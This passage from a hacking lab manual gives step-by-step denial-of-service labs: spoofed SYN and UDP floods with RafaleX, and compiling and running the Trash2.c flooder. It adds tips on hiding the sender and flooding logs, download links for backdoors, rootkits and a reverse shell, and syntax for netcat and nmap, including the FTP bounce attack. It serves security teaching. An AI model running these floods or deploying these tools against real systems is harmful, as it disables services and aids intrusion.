again.\nThe status bar along the bottom of the application will tell you how many\npackets it has sent compared to how many packets it will send.\n" }, { "page_number": 671, "text": "658\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick Stop to stop the packet capture and the overall results will be displayed.\nClick on the Source IP column to filter the results based on the source IP\nof each packet. Fortunately for us, our spoofed packets are listed first.\n" }, { "page_number": 672, "text": "Denial-of-Service (DoS)\n\u0001\n659\nBy selecting any of your spoofed packets, you can display the details of\nthe packets in the center section. By dragging the borders of the sections, you\ncan increase or decrease each section.\nIn our example, by looking at the center section, we can verify that each\npacket was successfully sent with the spoofed source IP address of the target\nto the target from port 123 to port 80.\n*Note: Because of the law of TCP/IP we know that each packet sent to a computer\nwith the SYN flag set MUST be responded to by the target. Because we have\nset the source to a spoofed address, the target will never receive a response\nand will sit and wait (up to 60 seconds) for each packet and therefore\neventually use up the target’s memory, causing it to lock up.\n" }, { "page_number": 673, "text": "660\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 94: Denial-of-Service –– UDP Flood \nDoS UDP Flood Attack: UDP Flood Attack \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion servers/workstations\nDescription: An attacker sends a UDP packet to a random port on the\ntarget system. The target system receives a UDP packet and determines\nwhat application is listening on the destination port. When no appli-\ncation is waiting on the port, it generates an ICMP packet of “destination\nport unreachable” to the spoofed source address. When enough UDP\npackets are delivered to ports on the victim to overwhelm the system,\nthe system will deny legitimate connections.\nProcedure: Install RafaleX, set parameters, and execute against the target.\nVerify with the packet sniffer.\n\u0001\nInstall the RafaleX application as outlined in Lab 48.\n\u0001\nInstall the Ethereal application as outlined in Lab 41.\n\u0001\nOpen the Ethereal application and start capturing data (refer to Lab 41).\n\u0001\nOpen the RafaleX application by clicking on the RafaleX.exe icon.\nThe RafaleX application will start.\n" }, { "page_number": 674, "text": "Denial-of-Service (DoS)\n\u0001\n661\nSet the Source IP to a spoofed IP address (10.10.10.10). Set the Source\nPort to 123.\nSet the Destination IP to a valid target IP address. Set the Destination\nPort to 321.\n" }, { "page_number": 675, "text": "662\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick on the UDP tab. Enter some random text for the payloads of the\npackets. Enter the Nb of packets to 9999. Click the SEND button.\n*Note: I have used RafaleX for several years and at times it can appear to be “buggy”\nby not wanting to send packets. The best way I have found to fix this is to\nclose the program, bring it back up, and try again.\nThe status bar along the bottom of the application will tell you how many\npackets it has sent compared to how many packets it will send.\n" }, { "page_number": 676, "text": "Denial-of-Service (DoS)\n\u0001\n663\nClick Stop to stop the packet capture and the overall results will be displayed.\nClick on the Source IP column to filter the results based on the source IP\nof each packet. Fortunately for us, our spoofed packets are listed first.\n" }, { "page_number": 677, "text": "664\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy selecting any of your spoofed packets, you can display the details of\nthe packets in the center section. By dragging the borders of the sections, you\ncan increase or decrease each section.\nIn this example, by looking at the center section we can verify that each\npacket was successfully sent with a spoofed source IP address to the target\nfrom port 123 to port 321.\n*Note: This is commonly known as a “Pepsi” attack.\n*Note: Remember that the target MUST respond to EACH packet sent to it. An\nattacker will use two or more computers for a successful attack. One computer\nis used for the actual exploiting of a target while the other(s) are used with\nseveral sessions of RafaleX running against a target to create a DoS attack\nand either attempt to deny valid traffic or cause the target to crash.\n" }, { "page_number": 678, "text": "Denial-of-Service (DoS)\n\u0001\n665\nLab 95: Denial-of-Service –– Trash2.c \nCreate Denial-of-Service Traffic: Trash2.c \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion servers/workstations, ingress\nfiltering\nDescription: Trash2.c sends random, spoofed, ICMP/IGMP packets with\na random spoof source, causing the target to either lock up or raise\nthe CPU use on the target, effectively creating a DoS.\n Procedure: Compile, set the parameters, and execute against the target. \nRetrieve the target IP address by typing ipconfig and pressing Enter.\n" }, { "page_number": 679, "text": "666\n\u0001\nPractical Hacking Techniques and Countermeasures\nStart the Ethereal application on the target as outlined in Lab 41. From the\ndirectory on the attacking machine containing the Trash2.c file, type:\ngcc trash2.c –o trash2\nThe Trash2 executable will be created.\n" }, { "page_number": 680, "text": "Denial-of-Service (DoS)\n\u0001\n667\nTo execute Trash2 use the following syntax:\n./trash2 \nTrash2 will begin to send the identified number of packets to the target.\n" }, { "page_number": 681, "text": "668\n\u0001\nPractical Hacking Techniques and Countermeasures\nFrom the target machine click Ethereal’s Stop button.\nEthereal will display the packets captured.\n" }, { "page_number": 682, "text": "Denial-of-Service (DoS)\n\u0001\n669\nClick on the Source column to sort the packets based on Source address.\n(You may have to click it twice.)\nObserve that the target received a massive amount (10,000) of fragmented\nIP packets. Also notice that if you expand the center area of Ethereal and look\nat the contents of the packets, the Ethernet II information displays the actual\nIP address of the sender whereas the Internet Protocol displays the\n“spoofed” source IP address.\n*Note:\nKeep in mind that even though a good security Administrator can locate the actual\nIP address of the sender, other labs have instructed you how to spoof not only the\nIP address but the Media Access Control (MAC) address of the computer performing\nthe DoS attack. An attacker will always want to make the logs so full of bad data that\nany security personnel will have to commit an enormous amount of time to reviewing\nthe logs, and still end up with bogus data of the source.\n" }, { "page_number": 683, "text": "" }, { "page_number": 684, "text": "671\nAppendix A \nReferences\nAlthough the tools used throughout this book are included on the CD, the\nfollowing is a list of Web sites where the tools can be found (at the time of this\nwriting). Some tools, such as RafaleX, have been renamed to Engage Packet\nBuilder, but the tools are the same. If I could not find a tool on the Internet,\nI included it on the CD and made note of it below. If a tool is used in a chapter\nand not listed in this appendix, this indicates that the tool is part of the standard\noperating system within that lab.\nI would like to thank all of the programmers involved for the hours of\nwork they put into the development of these tools.\nChapter 1\nVMware Workstation: http://www.vmware.com\nChapter 2\nNetcat: http://www.netcat.sourceforge.net\nScanline: http://www.foundstone.com/resources/proddesc/scanline.htm\nXprobe2: xprobe.sourceforge.net\nAmap: http://www.thc.org/releases.php\nBanner.c: http://www.packetstormsecurity.org/UNIX/scanners/banner.c\n" }, { "page_number": 685, "text": "672\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter 3\nGETMAC: http://download.microsoft.com/download/win2000platform/\ngetmac/1.00.0.1/nt5/en-us/getmac_setup.exe\nUSER2SID: http://www.antiserver.it/Win%20NT/Penetration/download/\nsid.zip\nSID2USER: http://www.antiserver.it/Win%20NT/Penetration/download/\nsid.zip\nUSERDUMP: http://www.hammerofgod.com/download.htm\nUSERINFO: http://www.hammerofgod.com/download.htm\nDUMPSEC: http://www.systemtools.com/cgi-bin/download.pl?DumpAcl\nNmap: http://www.insecure.org/nmap/download.html\nNmapNT: http://www.eeye.com/html/Research/Tools/nmapnt.html\nVisual Route: http://www.visualroute.com\nSam Spade: http://www.samspade.org\nNetcraft: http://www.netcraft.com\nSprint: http://www.zone-h.com/download/file=335/\nWinFingerprint: http://www.zone-h.com/download/file=4909/\nChapter 4\nAngry IP: http://www.snapfiles.com/get/angryip.html\nLANGuard: http://www.gfi.com/lannetscan\nFscan: http://www.foundstone.com/resources/scanning.htm\nPassifist: http://zone-h.org/download/file=3177/\nLanSpy: http://www.majorgeeks.com/LanSpy_d4561.html\nNetcat: http://www.netcat.sourceforge.net\nSuperScan: http://www.foundstone.com/resources/freetools.htm\nStrobe: http://www.deter.com/unix/software/strobe103.tar.gz\nFTPScanner: On the CD\nCGI Scanner: http://www.zone-h.org/download/file=3869/\nSMB Scanner: http://www.packetstormsecurity.com/UNIX/scanners/\nSMB-Scanner.zip\nWingate Scanner: http://pixeledena.free.fr/progs/wGateScan-4.0.exe\nADM Gates: http://www.cotse.com/sw/portscan/ADMgates-v0_2.tgz\nChapter 5\nEthereal: http://www.ethereal.com/download.html\nNgrep: http://prdownloads.sourceforge.net/ngrep/ngrep-1.44-1.tar.bz2?\ndownload\nhttp://prdownloads.sourceforge.net/ngrep/ngrep-1.44-win32-bin.zip?\ndownload\nTcpdump: http://www.tcpdump.org\n" }, { "page_number": 686, "text": "Appendix A: References\n\u0001\n673\nWindump: http://www.winpcap.org/windump/install/default.htm\nIPDump2: http://www.mirrors.wiretapped.net/security/\npacket-capture/ipdump/\nZxSniffer: softsearch.ru/programs/25-250-zxsniffer-download.shtml\nSniffit: http://reptile.rug.ac.be/~coder/sniffit/sniffit.html\nChapter 6\nRafaleX: http://www.engagesecurity.com/downloads/\nengagepacketbuilder/engagepacketbuilder100_setup.exe\nSMAC: http://www.klcconsulting.net/smac\nPackit: http://www.snapfiles.com/php/download.php?id=108158&\na=7123150&tag=592777&loc=1\nVMware Workstation: http://www.vmware.com\nChapter 7\nNETWOX/NETWAG: http://www.laurentconstantin.com/en/netw/netwox\nFGDump: http://www.foofus.net/fizzgig/fgdump/fgdump-1.0.0.zip\nLC5: http://www.antiserver.it/Win%20NT/Security/download/\nl0phtcrack.zip\nCHNTPW: http://home.eunet.no/~pnordahl/ntpasswd/\nJohn the Ripper: http://www.openwall.com/john/\nBruteFTP: On the CD\nTSGrinder II: http://www.hammerofgod.com/download.htm\nChapter 8\nSAINT: http://www.saintcorporation.com/download.html\nNETWOX/NETWAG: http://www.laurentconstantin.com/en/netw/netwox\nSolar Winds: http://www.solarwinds.net/Download-Tools.htm\nRetina: http://www.eeye.com/html/products/retina/download/\nX-Scan: http://packetstormsecurity.nl/Exploit_Code_Archive/xscan.tar.gz\nSARA: http://www.cisecurity.org/sub_form.html\nN-Stealth: http://www.nstalker.com/eng/products/nstealth/freeversion/\ndownload.php\nPluto: http://secwatch.org/download.php?file=pluto.zip&cat=1\nMetasploit: http://www.metasploit.com/projects/Framework/\ndownloads.html\nNikto: http://www.cirt.net/code/nikto.shtml\nShadow Scanner: http://www.safety-lab.com/en/download.htm\nCerberus: http://www.networkingfiles.com/SecurityApps/\ncerberusinternetscanner.htm\n" }, { "page_number": 687, "text": "674\n\u0001\nPractical Hacking Techniques and Countermeasures\nAutoScan: http://www.iwhax.net\nFake Lock Screen XP Login: On the CD\nRockXP: http://www.snapfiles.com/get/rockxp.html\nWeb Hack Control Center Scan (WHCC): http://ussysadmin.com/modules.\nphp?name=Downloads&d_op=getit&lid=64\nChapter 9\nNetStumbler: http://www.netstumbler.com/downloads\nBack Orifice: http://www.cultdeadcow.com/tools/bo.html\nNetBus: http://www.tcp-ip-info.de/trojaner_ und_viren/netbus_pro_eng.htm\nSneaky-Sneaky: http://packetstormsecurity.nl/UNIX/penetration/\nrootkits/icmp-backdoor.tar.gz\nStreaming Files: Windows Resource Kit \nEttercap: ettercap.sourceforge.net/download.php\nDsniff: http://www.monkey.org/~dugsong/dsniff/\nAchilles: http://sourceforge.net/project/showfiles.php?group_id=12195&\npackage_id=10892&release_id=37548\nNetcat: netcat.sourceforge.net/download.php\nReverse Shell: http://packetstormsecurity.org/groups/checksum/Rx.exe\nChapter 10\nPortMapper: http://www.analogx.com/contents/download/\nnetwork/pmapper.htm\nElitewrap: homepage.ntlworld.com/chawmp/Elitewrap\nFpipe: http://www.foundstone.com/resources/proddesc/fpipe.htm\nPsExec: http://www.sysinternals.com/Utilities/PsExec.html\nTCP Relay: http://www.freedownloadscenter.com/Programming/\nDatabases_and_Networks/Interactive_TCP_Relay.html\nChapter 11\nRafaleX: http://www.engagesecurity.com/downloads/\nengagepacketbuilder/engagepacketbuilder100_setup.exe\nTrash2.c: http://packetstormsecurity.nl/DoS/trash2.c\n" }, { "page_number": 688, "text": "675\nAppendix B \nTool Syntax\nAlthough this book gives you detailed examples of how to use these tools,\nthis appendix lists the complete syntax for each tool used. Use this section as\na reference while practicing the labs.\nChapter\nTool\nSyntax\nChapter 1\nNo tools requiring syntax.\nChapter 2\nTelnet\ntelnet [-a][-e escape char][-f log file]\n[-l user][-t term][host [port]]\nOptions:\n-a Attempt automatic logon. Same as -l option except\nuses the currently logged-on user’s name.\n-e Escape character to enter Telnet client prompt.\n-f Filename for client-side logging.\n-l Specifies the username to log in with on the remote\nsystem. Requires that the remote system support the\nTELNET ENVIRON option.\n-t Specifies terminal type. Supported term types are\nvt100, vt52, ansi, and vtnt only.\nhost Specifies the hostname or IP address of the remote\ncomputer to connect to.\nport Specifies a port number or service name.\n" }, { "page_number": 689, "text": "676\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 2 \n(continued)\nNetcat\nConnect to somewhere:\nnc [-options] hostname port[s] \n[ports] ...\nListen for inbound:\nnc -l -p port [options] [hostname] [port]\nOptions:\n-d Detach from console, background mode.\n-e prog Inbound program to exec [dangerous!].\n-g gateway Source-routing hop point[s], up to 8.\n-G num Source-routing pointer: 4, 8, 12, ...\n-h This cruft.\n-i secs Delay interval for lines sent, ports scanned.\n-l Listen mode, for inbound connects.\n-L Listen harder, re-listen on socket close.\n-n Numeric-only IP addresses, no DNS.\n-o file Hex dump of traffic.\n-p port Local port number.\n-r Randomize local and remote ports.\n-s addr Local source address.\n-t Answer Telnet negotiation.\n-u UDP mode.\n-v Verbose [use twice to be more verbose].\n-w secs Timeout for connects and final net reads.\n-z Zero-I/O mode [used for scanning].\nPort numbers can be individual or ranges: m-n [inclusive].\nScanline\nsl [-?bhijnprsTUvz]\n[-cdgmq ]\n[-flLoO ]\n[-tu [,-]]\nIP[,IP-IP]\nOptions:\n-? Shows this help text.\n-b Gets port banners.\n-c Timeout for TCP and UDP attempts (ms). Default is 4000.\n-d Delay between scans (ms). Default is 0.\n-f Read IPs from file. Use “stdin” for stdin.\n-g Bind to given local port.\n-h Hide results for systems with no open ports.\n-i For pinging use ICMP Timestamp Requests in addition \nto Echo Requests.\n" }, { "page_number": 690, "text": "Appendix B : Tool Syntax\n\u0001\n677\nChapter\nTool\nSyntax\nChapter 2\n(continued)\nScanline\n-j Do not output “-----...” separator between IPs.\n-l Read TCP ports from file.\n-L Read UDP ports from file.\n-m Bind to given local interface IP.\n-n No port scanning only pinging (unless you use -p).\n-o Output file (overwrite).\n-O Output file (append).\n-p Do not ping hosts before scanning.\n-q Timeout for pings (ms). Default is 2000.\n-r Resolve IP addresses to hostnames.\n-s Output in comma separated format (csv).\n-t TCP port(s) to scan (a comma-separated list of \nports/ranges).\n-T Use internal list of TCP ports.\n-u UDP port(s) to scan (a comma-separated list of \nports/ranges).\n-U Use internal list of UDP ports.\n-v Verbose mode.\n-z Randomize IP and port scan order.\nXprobe2\nUsage: \n./xprobe2 [options] target\nOptions:\n-v Be verbose.\n-r Show route to target (traceroute).\n-p Specify port number, protocol,\nand state.\nExample: tcp:23:open, UDP:53:CLOSED\n-c Specify config file to use.\n-h Print this help.\n-o Use logfile to log everything.\n-t Set initial receive timeout or roundtrip\ntime.\n-s Set packsending delay (milliseconds).\n-d Specify debugging level.\n-D Disable module number .\n-M Enable module number .\n-L Display modules.\n-m Specify number of matches to print.\n-P Enable port scanning module.\n-T Specify TCP port(s) to scan.\nExample: -T21-23,53,110\n-U Specify UDP port(s) to scan.\n-f Force fixed round-trip time (-t opt).\n" }, { "page_number": 691, "text": "678\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 2\n(continued)\nXprobe2\n-F Generate signature (use -o to save to a file).\n-X Save XML output to logfile specified with -o.\nAmap\namap [-sT|-sU] [options] [target port| -I ]\nOptions:\n- i Reads hosts and ports from the specified file. The\nformat of this file is as obtained by nmap using the\noption –m.\n- sT Scan only TCP ports. \n- sU Scan only UDP ports. \n- d Print the hex dump of the received response. The\ndefault is to print only the responses that are\nrecognized. \n- b Print ASCII banners if any are received from the \nprobed service. \n- o Log results to.\n- D Reads triggers and responses definitions from, \ninstead of the defaults appdefs.trig and appdefs.resp. \n-p Indicates that only the trigger associated to must be used .\n-T n Open n parallel connections. The default is\nindicated as 16 in the manual pages; however, I counted\nonly 11 in all the tests that I made. \n- t n Wait n seconds for a response. Default is 5. \n- H Skip potentially harmful triggers. This will skip \ntriggers that are marked with the 1 flag in the trigger’s \ndescription file (appdefs.trig).\nBanner.c\nUsage: \n./banner \n\nChapter 3\nNULL\nSession\nNET USE [devicename | *] [\\\\computername\\\nsharename[\\volume] [password | *]]\n[/USER:[domain name\\]username]\n[/USER:[dotted domain name\\]username]\n[/USER:[username@dotted domain name]\n[/SMARTCARD]\n[/SAVECRED]\n[[/DELETE] | [/PERSISTENT:{YES | NO}]]\nNET USE {devicename | *} [password | *] \n/HOME\nNET USE [/PERSISTENT:{YES | NO}]\n" }, { "page_number": 692, "text": "Appendix B : Tool Syntax\n\u0001\n679\nChapter\nTool\nSyntax\nChapter 3\n(continued)\nGETMAC\ngetmac[.exe] [/s Computer [/u Domain\\User \n[/p Password]]] \n[/fo {TABLE|LIST|CSV}][/nh][/v]\nOptions:\n/s Computer Specifies the name or IP address of a\nremote computer (do not use backslashes). The default\nis the local computer. \n/u Domain\\User Runs the command with the account\npermissions of the user specified by User or Domain\\\nUser. The default is the permission of the currently\nlogged-on user on the computer issuing the command. \n/p Password Specifies the password of the user account\nthat is specified in the /u parameter. \n/fo {TABLE|LIST|CSV} Specifies the format to use for the\nquery output. Valid values are TABLE, LIST, and CSV.\nThe default format for output is TABLE. \n/nh Suppresses column header in output. Valid when\nthe /fo parameter is set to TABLE or CSV. \n/v Specifies that the output displays verbose information. \n/? Displays help at the command prompt. \nUSER2SID\nUser2sid [\\\\computer_name] account_name\nWhere computer_name is optional.\nSID2USER\nSid2User [\\\\computer_name] authority \nsubauthority_1 …\nWhere computer_name is optional.\nUSERDUMP Usage: \nuserdump\nUSERINFO Usage: \nuserinfo \\\\servername known account\nWhere \\\\servername is the domain controller or member \nserver.\nDUMPSEC\nDumpsec /rpt=report type /outfile=\nOptions:\ndir=drive:\\path Directory permissions report (drive \nletter path).\ndir=\\\\computer\\sharepath Directory permissions report \n(UNC path).\nregistry=hive Registry permissions report (hive can be \nHKEY_LOCAL_MACHINE or HKEY_USERS).\n" }, { "page_number": 693, "text": "680\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nDUMPSEC share=sharename Specific shared directory permissions \nreport.\nallsharedirs All nonspecial shared directories \npermissions report.\nprinters Printers permissions report.\nshares Shares permissions report.\nusers Users report (table format, all fields except groups, \ngroupcomment and grouptype).\nusersonly Users report (table format, only username, \nfullname and comment fields).\nuserscol Users report (column format, same fields as \nusers report).\ngroups Groups report (table format, all fields).\nGroupsonly Groups report (table format, group info, no \nuser info).\nGroupscol Groups report (column format, same fields as \ngroups report).\nPolicy Policy report.\nrights Rights report.\nservices Services report.\n/outfile=drive:\\path File in which to store report. This file \nwill be replaced if it already exists.\nOptional parameters for all reports:\n/computer=computer Computer for which to dump \ninformation. Ignored for directory reports (since \ncomputer is implied by computer associated with \nredirected drive). Default is to dump local information.\n/saveas=format Format in which to store report: native\nbinary format can be loaded back into Somarsoft\nDumpSec.\ncsv: Comma-separated columns.\ntsv: Tab-separated columns.\nfixed: Fixed-width columns, padded with blanks.\nDefault is to save as native format.\n/noheader Do not include timestamp and other header\ninformation in saved report. Default is to include this\ninformation.\nOptional parameters for permissions reports only:\n/noowner Do not dump owner. Default is to dump owner.\n/noperms Do not dump permissions. Default is to dump \npermissions.\n/showaudit Dump audit info. Default is not to dump\naudit info. Ignored if audit information cannot be\ndisplayed because the current user is not a member of\nthe Administrators group.\n" }, { "page_number": 694, "text": "Appendix B : Tool Syntax\n\u0001\n681\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nDUMPSEC Only one of the following options can be specified:\n/showexceptions Show directories, files, and Registry \nkeys whose permissions differ from those of the parent \ndirectory or Registry key. This is the default.\n/showexcdirs Show directories (but not files) whose \npermissions differ from those of the parent directory.\n/showalldirs Show all directories. Show only those files \nwhose permissions differ from those of the parent \ndirectory.\n/showdirsonly Show all directories. Do not show any \nfiles.\n/showall Show all directories, files, and Registry keys.\nOptional parameters for users/groups reports only:\n/showtruelastlogon Query all domain controllers for\n“true” last logon time, which can be time consuming.\nDefault is to use last logon time from specified\ncomputer.\n/showosid Dump SID as part of users report, which requires\nsome additional and possible time-consuming\nprocessing. Default is not to dump SID.\n/showcomputers Show computer accounts in users reports. \nDefault is only to show normal user accounts.\nNet\nCommands\nNET [ ACCOUNTS | COMPUTER | CONFIG | \nCONTINUE | FILE | GROUP | HELP |\nHELPMSG | LOCALGROUP | NAME | PAUSE | \nPRINT | SEND | SESSION \nSHARE | START | STATISTICS | STOP | TIME \n| USE | USER | VIEW]\nPing\nUsage: \nping [-t] [-a] [-n count] [-l size] [-f] \n[-i TTL] [-v TOS]\n[-r count] [-s count] [[-j host-list] | \n[-k host-list]]\n[-w timeout] target_name\nOptions:\n-t Ping the specified host until stopped.\nTo see statistics and continue, press Ctrl+Break.\nTo stop, press Ctrl+C.\n-a Resolve addresses to hostnames.\n-n count Number of echo requests to send.\n-l size Send buffer size.\n" }, { "page_number": 695, "text": "682\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 3\n(continued)\nPing\n-f Set Do not fragment flag in packet.\n-i TTL Time To Live.\n-v TOS Type Of Service.\n-r count Record route for count hops.\n-s count Timestamp for count hops.\n-j host-list Lose source route along host-list.\n-k host-list Strict source route along host-list.\n-w timeout Timeout in milliseconds to wait for each reply.\nPathping\nUsage:\npathping [-g host-list] [-h maximum_hops] \n[-i address] [-n]\n[-p period] [-q num_queries] [-w timeout] \n[-P] [-R] [-T]\n[-4] [-6] target_name\nOptions:\n-g host-list Lose source route along host-list.\n-h maximum_hops Maximum number of hops to search \nfor target.\n-i address Use the specified source address.\n-n Do not resolve addresses to hostnames.\n-p period Wait a period of milliseconds between pings.\n-q num_queries Number of queries per hop.\n-w timeout Wait timeout milliseconds for each reply.\n-P Test for RSVP PATH connectivity.\n-R Test if each hop is RSVP aware.\n-T Test connectivity to each hop with Layer-2 priority tags.\n-4 Force using IPv4.\n-6 Force using IPv6.\nNmap\nnmap [Scan Type(s)] [Options] \nOptions:\n-sT TCP connect () scan This is the most basic form of\nTCP scanning. The connect () system call provided by\nyour operating system is used to open a connection to\nevery interesting port on the machine. If the port is\nlistening, connect () will succeed; otherwise the port is\nnot reachable. One strong advantage to this technique\nis that you do not need any special privileges. Any user\non most Unix boxes is free to use this call. This sort of\nscan is easily detectable as target host logs will show\nseveral connection and error messages for the services\nthat accept () the connection just to have it immediately\nshut down.\n" }, { "page_number": 696, "text": "Appendix B : Tool Syntax\n\u0001\n683\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\n-sS TCP SYN scan This technique is often referred to as\n“half-open” scanning, because you do not open a full\nTCP connection. You send a SYN packet, as if you are\ngoing to open a real connection and you wait for a\nresponse. A SYN|ACK indicates the port is listening. An\nRST is indicative of a nonlistener. If a SYN|ACK is\nreceived, an RST is immediately sent to tear down the\nconnection (actually our OS kernel does this for us).\nThe primary advantage to this scanning technique is\nthat fewer sites will log it. Unfortunately you need root\nprivileges to build these custom SYN packets.\n-sF –sX –sN Stealth FIN, Xmas Tree, or NULL scan modes\nThere are times when even SYN scanning is not\nclandestine enough. Some firewalls and packet filters\nwatch for SYNs to restricted ports, and programs like\nSynlogger and Courtney are available to detect these\nscans. These advanced scans, on the other hand, may\nbe able to pass through unmolested. The idea is that\nclosed ports are required to reply to your probe packet\nwith an RST, while open ports must ignore the packets\nin question (see RFC 793 p. 64). The FIN scan uses a\nbare FIN packet as the probe, while the XMAS tree scan\nturns on the FIN, URG, and PUSH flags. The NULL scan\nturns off all flags. Unfortunately, Microsoft decided to\ncompletely ignore the standard and do things its own\nway. Thus, this scan type will not work against systems\nrunning Windows 95/NT.\n-sP Ping scanning Sometimes you only want to know\nwhich hosts on a network are up. nmap can do this by\nsending ICMP echo request packets to every IP address\non the networks you specify. Hosts that respond are\nup. Unfortunately, some sites such as microsoft.com\nblock echo request packets. Thus nmap can also send\na TCP ACK packet to (by default) port 80. If we get an\nRST back, that machine is up. A third technique\ninvolves sending a SYN packet and waiting for an RST\nor a SYN/ACK. For nonroot users, a connect () method\nis used. By default (for root users), nmap uses both the\nICMP and ACK techniques in parallel. You can change\nthe -P option described later. Note that pinging is done\nby default anyway, and only hosts that respond are\nscanned. Only use this option if you wish to ping sweep\nwithout doing any actual port scans.\n" }, { "page_number": 697, "text": "684\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\n-sU UDP scans This method is used to determine which\nUDP (User Datagram Protocol, RFC 768) ports are open\non a host. The technique is to send 0 byte UDP packets\nto each port on the target machine. If we receive an\nICMP port unreachable message, then the port is\nclosed. Otherwise we assume it is open. Some people\nthink UDP scanning is pointless. I usually remind them\nof the recent Solaris rcpbind hole. Rpcbind can be\nfound hiding on an undocumented UDP port\nsomewhere above 32770. So it does not matter that 111\nis blocked by the firewall. But how can you find which\nof the more than 30,000 high ports it is listening on?\nWith a UDP scanner you can! There is also the cDc\nBack Orifice backdoor program, which hides on a\nconfigurable UDP port on Windows machines, not to\nmention the many commonly vulnerable services that\nutilize UDP such as SNMP, TFTP, and NFS.\n-sA ACK scan This advanced method is usually used to\nmap out firewall rulesets. In particular, it can help\ndetermine whether a firewall is stateful or just a simple\npacket filter that blocks incoming SYN packets. This scan\ntype sends an ACK packet (with random looking\nacknowledgment/sequence numbers) to the ports\nspecified. If an RST comes back, the port is classified as\nunfiltered. If nothing comes back (or if an ICMP\nunreachable is returned), the port is classified as filtered.\nNote that nmap usually does not print unfiltered ports,\nso getting no ports shown in the output is usually a sign\nthat all the probes got through (and returned RSTs). This\nscan will obviously never show ports in the open state.\n-sW Window scan This advanced scan is very similar to\nthe ACK scan, except that it can sometimes detect open\nports as well as filtered/nonfiltered ones due to an\nanomaly in the TCP window size reporting by some\noperating systems. Systems vulnerable to this include at\nleast some versions of AIX, Amiga, BeOS, BSDI, Cray, Tru64\nUNIX, DG/UX, OpenVMS, Digital UNIX, FreeBSD, HP-UX,\nOS/2, IRIX, MacOS, NetBSD, OpenBSD, OpenStep, QNX,\nRhapsody, SunOS 4.X, Ultrix, VAX, and VxWorks. See the\nnmap-hackers mailing list archive for a full list.\n-sR RPC scan This method works in combination with\nthe various port scan methods of nmap. It takes all the\nTCP/UDP ports found open and then floods them with\nSunRPC program NULL commands in an attempt to\ndetermine whether they are RPC ports. \n" }, { "page_number": 698, "text": "Appendix B : Tool Syntax\n\u0001\n685\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\n-b FTP bounce attack An interesting\n“feature” of the FTP protocol (RFC 959) is support for\nproxy FTP connections. In other words, I should be able\nto connect from evil.com to the FTP server of\ntarget.com and request that the server send a file\nanywhere on the Internet! Now this may have worked\nwell in 1985 when the RFC was written. But in today’s\nInternet, we cannot have people hijacking FTP servers\nand requesting that data be spit out to arbitrary points\non the Internet. As Hobbit wrote back in 1995, this\nprotocol flaw “can be used to post virtually untraceable\nmail and news, hammer on servers at various sites, fill\nup disks, try to hop firewalls, and generally be annoying\nand hard to track down at the same time.” What we will\nexploit this for is to scan TCP ports from a proxy FTP\nserver. Thus you could connect to an FTP server behind\na firewall, and then scan ports that are more likely to\nbe blocked (139 is a good one). If the FTP server allows\nreading from and writing to some directory (such as\n/incoming), you can send arbitrary data to ports that\nyou do find open (nmap does not do this for you,\nthough). The argument passed to the b option is the host\nyou want to use as a proxy, in standard URL notation.\nThe format is: username:password@server:port.\nEverything but server is optional. To determine what\nservers are vulnerable to this attack, you can see my\narticle in Phrack 51. An updated version is available at\nthe nmap site, http://www.insecure.org/nmap.\n-P0 Do not try and ping hosts at all before scanning\nthem. This allows the scanning of networks that do not\nallow ICMP echo requests (or responses) through their\nfirewalls. Microsoft.com is an example of such a\nnetwork, and thus you should always use -P0 or -PT80\nwhen port scanning microsoft.com.\n-PT Use TCP ping to determine what hosts are up.\nInstead of sending ICMP echo request packets and\nwaiting for a response, we spew out TCP ACK\npackets.\n-PS This option uses SYN (connection request) packets\ninstead of ACK packets for root users. Hosts that are\nup should respond with an RST (or, rarely, a SYN|ACK).\n" }, { "page_number": 699, "text": "686\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\n-PI This option uses a true ping (ICMP Echo Request)\npacket. It finds hosts that are up and also looks for\nsubnet-directed broadcast addresses on your network.\nThese are IP addresses that are externally reachable\nand translate to a broadcast of incoming IP packets to\na subnet of computers. These should be eliminated if\nfound as they allow for numerous denial-of-service\nattacks (Smurf is the most common).\n-PB This is the default ping type. It uses both the ACK\n(-PT) and ICMP (-PI) sweeps in parallel. This way you\ncan get firewalls that filter either one (but not both).\n-O This option activates remote host identification via\nTCP/IP fingerprinting. In other words, it uses several\ntechniques to detect subtleties in the underlying\noperating system network stack of the computers you\nare scanning. It uses this information to create a\nfingerprint, which it compares with its database of\nknown OS fingerprints (the nmap-os-fingerprints file) to\ndecide what type of system you are scanning. If you find\na machine that is misdiagnosed and that has at least one\nport open, it would be useful if you mail me the details\n(i.e., OS blah version foo was detected as OS blah version\nbar). If you find a machine with at least one port open\nfor which nmap says “unknown operating system,” then\nit would be useful if you send me the IP address along\nwith the OS name and version number. If you cannot\nsend the IP address, the next best thing is to run nmap\nwith the -d option and send me the three fingerprints\nthat should result along with the OS name and version\nnumber. By doing this you contribute to the pool of\noperating systems known to nmap.\n-I This turns on TCP reverse ident scanning. As noted by\nDave Goldsmith in a 1996 Bugtraq post, the ident\nprotocol (rfc 1413) allows for the disclosure of the\nusername that owns any process connected via TCP,\neven if that process did not initiate the connection. So\nyou can, for example, connect to the HTTP port and\nthen use identd to find out whether the server is\nrunning as root. This can only be done with a full TCP\nconnection to the target port (i.e., the -sT scanning\noption). When -I is used, the remote host’s identd is\nqueried for each open port found. Obviously, this will\nnot work if the host is not running identd.\n-f This option causes the requested SYN, FIN, XMAS, or\nNULL scan to use tiny fragmented IP packets. \n" }, { "page_number": 700, "text": "Appendix B : Tool 